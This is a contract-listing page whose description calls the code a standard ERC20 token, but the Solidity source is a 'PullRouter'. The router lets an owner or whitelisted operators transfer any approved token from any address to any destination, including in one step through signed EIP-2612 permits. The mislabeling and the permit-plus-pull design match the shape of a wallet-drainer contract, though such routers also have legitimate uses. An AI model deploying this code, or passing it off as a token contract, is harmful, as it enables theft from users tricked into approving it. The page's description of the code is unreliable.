Description:
ERC20 token contract. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
/* ========== ERC20 基础接口(含 approve/balanceOf 等) ========== */
interface IERC20 {
function transferFrom(address from, address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
}
/* ========== EIP-2612(可选) ========== */
interface IERC20Permit {
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v, bytes32 r, bytes32 s
) external;
}
/* ========== SafeERC20:兼容 USDT 等非标准返回(无自定义错误/提示) ========== */
library SafeERC20 {
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
(bool ok, bytes memory data) =
address(token).call(abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
require(ok && (data.length == 0 || abi.decode(data, (bool))));
}
}
/* ========== PullRouter(多操作员 + 单笔限额,精简版) ========== */
contract PullRouter {
using SafeERC20 for IERC20;
/* -------- Storage -------- */
address public owner; // 部署者即 owner(无构造参数)
mapping(address => bool) public isOperator; // 操作员白名单
mapping(address => mapping(address => uint256)) public perCallLimit; // perCallLimit[operator][token]
/* -------- Events -------- */
event Pulled(address indexed token, address indexed from, address indexed to, uint256 amount, address invoker);
event OwnerChanged(address indexed oldOwner, address indexed newOwner);
event OperatorUpdated(address indexed operator, bool enabled);
event PerCallLimitSet(address indexed operator, address indexed token, uint256 maxAmount);
/* -------- Constructor -------- */
constructor() {
owner = msg.sender;
}
/* -------- Modifiers(无提示版) -------- */
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyOwnerOrOperator() {
require(msg.sender == owner || isOperator[msg.sender]);
_;
}
/* -------- Admin -------- */
function setOwner(address newOwner) external onlyOwner {
require(newOwner != address(0));
emit OwnerChanged(owner, newOwner);
owner = newOwner;
}
function setOperator(address operator, bool enabled) external onlyOwner {
require(operator != address(0));
isOperator[operator] = enabled;
emit OperatorUpdated(operator, enabled);
}
/// @notice 设置某 operator 对某 token 的单次最大划转额度(最小单位);设为 0 表示禁止
function setPerCallLimit(address operator, address token, uint256 maxAmount) external onlyOwner {
require(operator != address(0) && token != address(0));
perCallLimit[operator][token] = maxAmount;
emit PerCallLimitSet(operator, token, maxAmount);
}
/* -------- Core -------- */
/// @notice 从 from 扣代币到 to(须先由 from 对本合约 approve)
function pull(address token, address from, address to, uint256 amount) external onlyOwnerOrOperator {
if (_basicChecks(token, from, to, amount)) return; // amount==0 直接返回
_checkLimitIfOperator(token, amount);
IERC20(token).safeTransferFrom(from, to, amount);
emit Pulled(token, from, to, amount, msg.sender);
}
/// @notice 一笔完成授权+扣款(目标代币需支持 EIP-2612)
function permitAndPull(
address token,
address from,
address to,
uint256 amount,
uint256 deadline,
uint8 v, bytes32 r, bytes32 s
) external onlyOwnerOrOperator {
if (_basicChecks(token, from, to, amount)) return; // amount==0 直接返回
_checkLimitIfOperator(token, amount);
// 代币内部会校验 deadline/nonce 等,失败直接回滚
IERC20Permit(token).permit(from, address(this), amount, deadline, v, r, s);
IERC20(token).safeTransferFrom(from, to, amount);
emit Pulled(token, from, to, amount, msg.sender);
}
/* -------- Internal helpers -------- */
/// @dev 基础入参校验;如果 amount==0,返回 true 表示"已完成(无需后续逻辑)"
function _basicChecks(address token, address from, address to, uint256 amount) private pure returns (bool) {
require(token != address(0) && from != address(0) && to != address(0));
if (amount == 0) return true;
return false;
}
/// @dev 仅在 msg.sender 是 operator 时检查单笔上限;owner 不受限
function _checkLimitIfOperator(address token, uint256 amount) private view {
if (msg.sender != owner) {
uint256 maxAmt = perCallLimit[msg.sender][token];
require(maxAmt != 0 && amount <= maxAmt);
}
}
}
Submitted on: 2025-09-30 20:54:08
Comments
Log in to comment.
No comments yet.